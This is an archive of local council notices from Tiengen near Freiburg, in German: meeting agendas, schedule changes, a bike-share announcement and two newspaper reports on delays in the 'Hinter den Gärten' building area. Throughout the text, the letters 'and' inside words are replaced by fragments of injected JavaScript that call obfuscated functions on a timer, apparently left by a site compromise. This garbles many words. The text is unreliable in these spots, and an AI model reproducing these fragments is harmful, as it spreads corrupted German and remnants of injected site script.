Category Archives: News und Bekanntgaben

  • UWerner
  • 25. November 2020

Tagesordnung

1.Bericht der VAG

hier: Neue Fahrpläne, Zukunftspläne für den Tuniberg und Tiengen

– mündlicher Bericht –

2.Gremiensitzungen mit Videounterstützung

h i e r :

– Interfraktioneller Antrag nach § 34 Gemeindeordnung von Bündnis 90/DIE GRÜNEN und CDU vom 13.10.2020

– Änderung der Hauptsatzung

–   Drucksache G-20/195   –

Anhörung

3.Flächennutzungsplan 2040 mit integriertem Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andschaftsplan

h i e r :

Ergebnisse gesamtstädtisches Gewerbeflächenentwicklungskonzept

–   Drucksache G-20/124   –

Anhörung

4.Antrag zur Umpflanzung

(interfraktioneller Antrag)

beschließend

5.Anträge auf Verfügungsmittel

a) Arbeitskreis Jugendhütte 2.250 €

b) Übertragung ins Jahr 2021

beschließend

6.Bauvoranfrage Flstnr. 5807, 5808, 5809 voraussichtlich Rivanerweg 25, 27, 29

hier: Neubau eines Wohnhauses mit 3 Wohneinheiten

beschließend

7.Bekanntgaben und Verschiedenes

8.Bürgerfragen

gez.

Ortsvorsteher

  • UWerner
  • 20. Oktober 2020

Ich lade zu der am

Dienstag, 27. Oktober 2020, 20:00 Uhr

im Tuniberghaus Tiengen stattfindenden Sitzung des Ortschaftsrates Tiengen ein.

     1 Ausübung des Vorkaufsrechts nach § 24 Absatz 1 Ziffer 5 Baugesetzbuch (BauGB) am Grundstück Flst.Nr. 2304 im Baugebiet Hinter den Gärten, Tiengen 

–   Drucksache HFA-20/027   – (Anhörung)

      2. Anträge auf Verfügungsmittel

a)Design und Druck einer neuen Stadtteilbroschüre 2.900 €

b)Christbaum am Friedhof 500 €

c)Waldkindergarten 700 € beschließend

     3. Bekanntgaben und Verschiedenes

     4. Bürgerfragen

gez. Ortsvorsteher

  • UWerner
  • 11. Oktober 2020

Die Sitzung des Ortschaftrates Tiengen vom 02.11.2020 wird auf den 27.10.2020 verschoben.

  • UWerner
  • 6. Oktober 2020

Tagesordnung

1.Ergebnisse der Elternbefragung 2019  –   Drucksache KJHA-20/008   –

Anhörung

2. Kindertagesstättenbedarfsplanung für das Kindergartenjahr 2020/202  –   Drucksache G-20/095   –

Anhörung

3. Schulentwicklungsbericht 2020  –   Drucksache G-20/159   –

Anhörung

4. Neupflanzung von Straßenbäumen in Tiengen

beschließend

5. a) Bauvoranfrage Flstnr. 4282; Schlatthöfe 3, hier: Errichtung eines Stellplatzes für Wohnmobile

beschließend

5. b) Bauantrag Flstnr. 113/4; Hinter den Gärten 3, hier: Neubau eines Einfamilienhauses mit Einliegerwohnung und Doppeltgarage (vereinfachtes Verfahren)

beschließend

5. c) Bauantrag Flstnr. 5759; Rivanerweg 22, hier: Neubau einer Doppelhaushälfte (vereinfachtes Verfahren)

beschließend

6. Bekanntgaben und Verschiedenes

7. Bürgerfragen

gez. Ortsvorsteher

  • UWerner
  • 24. August 2020
WegenTerminüberscheidungen haben wir uns entschieden, die Oktober- und November-Sitzungen zu verlegen.
Am Mittwoch den 07.10.2020 (entsprechend dem Plan) findet nur eine nichtöffentliche Sitzung um 19 Uhr statt.
Die öffentliche Sitzung wird auf Dienstag den 13.10.2020 um 20 Uhr verschoben.
Die ursprünglich für den 04.11.2020 geplante öffentliche Sitzung findet am Montag den 02.11.2020 statt.

 

  • UWerner
  • 14. Juli 2020

Einladung

zur 5. Sitzung des Ortschaftsrates Tiengen am Dienstag, 21. Juli 2020, 20:00 Uhr

im Tuniberghaus Tiengen

Tagesordnung:

Öffentlicher Teil

1. Bauantrag Flstnr. 84/0; Vogteistr. 9 Nutzungsänderung des Gasthauses in Wohneinheiten, beschließend

2.  Bauantrag Flstnr. 5767 Rivanerweg 2,4 Neubau einer Doppelhaushälfte (vereinfachtes Verfahren), beschließend

3. Bauantrag Flstnr 5760; Rivanerweg 20 hier: Neubau einer Doppelhaushälfte beschließend

4. Bekanntgaben und Verschiedenes

5. Bürgerfragen

 

gez.

Ortsvorsteher

  • UWerner
  • 19. Juni 2020

Am Samstag, den 20.06.2020 werden die Frelo Probestationen in den Tuniberggemeinden eröffnet. Die Station in Tiengen am Tuniberghaus (Bushaltestelle) kann ab dem 20.06.2020 mittags benutzt werden.

Um eines der Fahrräder nutzen zu können, ist eine einmalige kostenlose Registrierung notwendig. Die Räder sind dann über die App VAG mobil, die App nextbike, per Telefonhotline oder per Kundenkarte mietbar.

Weitere Infos unter www.frelo-freiburg.de

  • UWerner
  • 19. Juni 2020

Von Eva Opitz

Fr, 19. Juni 2020

Im Tiengener Rat wird Unzufriedenheit mit schleppendem Fortgang beim Baugebiet „Hinter den Gärten“ deutlich.

Hauptthema der Sitzung des Tiengener Ortschaftsrates war der Planungsprozess zum Baugebiet „Hinter den Gärten“ (die BZ berichtete) mit deutlicher Kritik am Stadtplanungsamt. Eine ausgedehnte Bürgerfrageviertelstunde, Zustimmung zu einem Bauantrag und der aktualisierten Fassung der Satzung für elektronische Bekanntmachungen des Rathauses flankierten den Abend.

Die Ausgangslage: Ortsvorsteher Maximilian Schächtele (Aktive Bürger Tiengen) gab einen Überblick zur Geschichte des Baugebietes seit dem Beginn der Planungen 2015. Frank Edelmann von der Firma „Kommunalkonzept“, die im Auftrag der Eigentümergemeinschaft (GbR) als Partner und Scharnier zwischen Stadt und Bauherren den Prozess begleitet, stellte die aktuelle Planung vor, die von den Eigentümern als widersprüchlich und zu langsam eingestuft wird.

Kritik am Stadtplanungsamt: Zu Beginn des Jahres sei es positiv aufgenommen worden, dass Baufenster ausgeweitet und damit eine flexiblere Gestaltung der Häuser möglich sei, heißt es in einem Brief des beratenden Beirats an den Bauausschuss, der der BZ vorliegt. Er ist unterschrieben von Vertretern der privaten Eigner und der Investoren. In dem vorliegenden Plan sei dieser Ankündigung jedoch nicht entsprochen worden. Es heiße zudem, die Bushaltestelle und die Stichstraßen seien verkleinert worden. Kurz danach sei jedoch dieser Flächengewinn zugunsten von mehr öffentlichen Grünflächen eingesetzt worden, was den Interessen der Eigentümer widerspreche. Auch die zusätzlichen Fußwege seien von den Eigentümern als unnötig eingestuft worden, so Edelmann: „Die Eigner finden sich in der Planung nicht wieder.“

Reaktion der Eigentümer: Edelmann hob hervor, dass die Eigentümer der Abgabe von 8000 Quadratmeter für geförderten Wohnungsbau von den circa 40 000 Quadratmetern Nettobaulandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andfläche zugestimmt hätten, was zwanzig Prozent entspreche. Auch die Kosten von knapp 1 Million Euro für die archäologische Rettungsgrabung, was pro Quadratmeter Nettobaulandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 26 Euro entspreche, würden von den Bauwilligen getragen. „Wir privaten Eigentümer dürfen nur die mit der langsamen Planung steigenden Kosten bezahlen, werden aber nicht gehört“, kommentierte eine Bauherrin aus der kleinen Gruppe der privaten Grundstückseigentümer. Sie habe Angst, dass sie ihr Grundstück verkaufen müsse, weil es nicht mehr bezahlbar sei, es zu bebauen. Es fehle zudem der direkte Austausch mit dem Stadtplanungsamt und den Fachämtern, so ein weiterer Bauherr.
Reaktion des Ortschaftsrates: Er könne es nicht nachvollziehen, warum das Stadtplanungsamt so langsam reagiere“, erklärte Karl-Heinz Geppert (Wählervereinigung Tiengener Bürger). Stefan Haager Bürger für Tiengen) kritisierte, dass in dem Plan kein einziger Verweis auf Kinder und ältere Leute zu finden sei: „Es werden Baugebiete ausgewiesen und geplant, ohne an Angebote zur Betreuung oder Kindergärten zu denken.“ Im Laufe des Prozesses werde es dazu Antworten geben, versprach Edelmann. Der Ortschaftsrat stimmte mit zehn Ja-Stimmen dem Plan zu, allerdings mit der Vorgabe, dass unter andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderem das Wohnen nicht durch zu enge Vorgaben eingegrenzt und das Baugebiet zügig entwickelt werde.

Weiteres Thema: Zum wiederholten Male äußerte der Tiengener Horst Jenne in der Frageviertelstunde seinen Unmut über das Garten- und Tiefbauamt. Es habe – den Protest der Bürger wegen hoher Laub- und Samenverbreitung missachtend – „Im Maierbrühl“ statt der gewünschten Kirschbäume wieder Spitzahorn gepflanzt. Diesmal galt sein Zorn auch dem Ortschaftsrat, der ihn nicht genügend unterstützt habe. Er kündigte an, zur nächsten Sitzung einen Antrag auf Entfernung der Bäume zu stellen.

Sitzungsdauer: 125 Minuten.
Teilnehmer: 13 von 14 Räten.
Zuhörer:15.

  • UWerner
  • 10. Juni 2020

Einladung zur 6. Sitzung des Ortschaftsrates Tiengen am Dienstag, 16. Juni 2020 um 20:00 Uhr im Tuniberghaus Tiengen

 

T a g e s o r d n u n g

 

  1. Bürgerfragen
  2. Bebauungsplan Hinter den Gärten, hier: Standom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and der Planung und weiteres Vorgehen (es berichtet der Beirat und Erschließungsträger Rüdiger Kunst Kommunal-Konzept GmbH),beschließend
  3. Neufassung der Bekanntmachungssatzung-Drucksache G-20/114 -Anhörung
  4. Bauantrag: Flstnr. 69, Ochsenhof 6 hier: Errichtung eines Balkons (Vereinfachtes Verfahren), beschließend
  5. Bekanntgaben und Verschiedenes

 

gez. Ortsvorsteher

Wir bitten um Einhaltung der Abstandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands- und Hygieneregeln. Bitte tragen Sie eine Schutzmaske. Diese kann abgenommen werden, sobald alle ihre Plätze eingenommen haben. Einlass in der Saal: 19:45 Uhr. Ab 20:00 Uhr wird die Tür geschlossen.

  • UWerner
  • 5. Juni 2020

Von Eva Opitz

Fr, 05. Juni 2020 Beim Tiengener Neubaugebiet „Hinter den Gärten“ geht es nicht so schnell voran wie erhofft, auch wegen archäologischer Grabungen.

Foto: Thomas Kunz
Foto: Thomas Kunz

Der Blick auf das etwa 62 000 Quadratmeter große zukünftige Baugebiet „Hinter den Gärten“ am südwestlichen Ortsausgang von Tiengen hatte in den vergangenen Monaten immer wieder für Nachfragen gesorgt, wann endlich mit der Erschließung begonnen werde. Das archäologische Grabungsfeld, auf dem seit rund einem halben Jahr nichts mehr passiert war, versank im angesammelten Regenwasser. Nichts deutete auf eine zügige Bebauung hin. Immerhin soll laut Stadt noch dieses Jahr die Offenlage des Bebauungsplanentwurfs erfolgen.

Als Ende 2017 der Freiburger Gemeinderat beschloss, einen Bebauungsplan für das Gebiet zu erstellen, gingen alle Beteiligten davon aus, dass das Verfahren schnell durchgezogen werden könne. Schließlich hatten die privaten Eigentümer der Flächen wenige Monate zuvor eigens eine „Gesellschaft bürgerlichen Rechts“ gegründet, die wiederum der Firma „Kommunalkonzept“ den Auftrag für die Erschließung des Areals gab. Bei der ersten Beteiligung der Öffentlichkeit im Zuge des Bebauungsplanverfahrens vor andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderthalb Jahren habe man noch auf eine zügige Abwicklung gehofft, erinnert sich einer der privaten Eigentümer eines Baugrundstückes: „Die Ampel war auf Grün gestellt.“ Jetzt sei er frustriert und könne nicht erkennen, wo das Problem liege: „Hat die Stadt keine Lust mehr, keine Zeit oder wird sie durch die Planung für Dietenbach zu sehr beansprucht?“. Die Bauträgerfirmen, die mittlerweile mit im Boot seien, würden ebenfalls unruhig.

Archäologische Grabungen ruhten seit Dezember
Die Firma „Kommunalkonzept“ ist auch für die Organisation der im Bebauungsplanverfahren nötigen Gutachten zuständig sowie für die archäologischen Grabungen. „Kommunalkonzept“ will sich aber aktuell nicht im Detail zu den damit verbundenen Kosten und den Auswirkungen auf den Zeitplan äußern. „Das ist ein dynamischer und oft überraschender Prozess“, so Geschäftsführer Frank Edelmann. Nach Auskunft des Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andesdenkmalamtes ruhten die Grabungen seit Dezember in Absprache mit den Eigentümern als Auftraggeber, um mögliche Funde nicht winterlichen Wetterkapriolen auszusetzen. Die bisherige sogenannte Rettungsgrabung habe gezeigt, dass das Baugebiet schon von der Jungsteinzeit bis hin zum Mittelalter mit Grubenhäusern ein begehrtes Siedlungsgebiet gewesen sei. Bei den Sondierungen im November 2018 sei unter andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anderem ein römischer Brunnen gefunden worden (die BZ berichtete) als Hinweis auf einen Gutshof aus der Römerzeit.
Vergangene Woche seien die Grabungen fortgesetzt worden und sollen bis zum Herbst abgeschlossen sein. Für die zukünftigen Bauherren zeichnet sich ab, dass die Häuser mit Kellern und Tiefgaragen gebaut werden können.

Zur Frage der Gutachten informierte das Stadtplanungsamt auf BZ-Anfrage über die Pressestelle der Stadtverwaltung, dass fünf fertige Gutachten vorlägen, darunter das Bodengutachten, das Energiekonzept mit Befürwortung einer dezentralen Versorgung durch Luftwärmepumpe oder Erdkollektor sowie ein artenschutzrechtliches Gutachten.

Kritik an Straßen, die als zu breit empfunden werden
Zwei weitere Gutachten würden derzeit überarbeitet und weitere zwei fehlten bislang. Dazu zählt die Freiraumplanung, deren vorgesehene Grundzüge bei den Eigentümern für Diskussionen sorgte. Kritisiert wurden die als überzogen empfundene Breite der Straßen sowie die große Zahl öffentlicher Grünflächen, welche die künftigen Besitzer lieber ihren Gärten zuschlagen würden.

Unterschiedliche Konzepte gibt es zur Flächenabtretung
Unklar ist bislang noch, wie die Flächenabtretung an die Stadt gehandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andhabt wird. Die ist als Alternative möglich, wenn der eigentlich angestrebte Anteil von 50 Prozent an sozialem Mietwohnungsbau nicht erreicht wird. Laut Gemeinderatsbeschluss sollen dann eigentlich 20 Prozent der Fläche abgetreten werden. Die Eigentümer haben bisher laut Stadtplanungsamt hingegen das Verfahren einer vereinbarten amtlichen Umlegung mit einer Abtretung von zehn Prozent der Nettobaulandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andfläche angestrebt.

Als geplanten Termin für die Offenlage gibt das Amt das 4. Quartal 2020 an, was sich die bauwilligen Eigentümer und die Tiengener Ortsverwaltung schon für 2019 gewünscht hätten. Er bedaure die Verschiebung, so Ortsvorsteher Maximilian Schächtele, und vermisse zudem „eine faire und konstruktive Diskussion auf der Grundlage eines respektvollen und offenen Miteinandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anders“.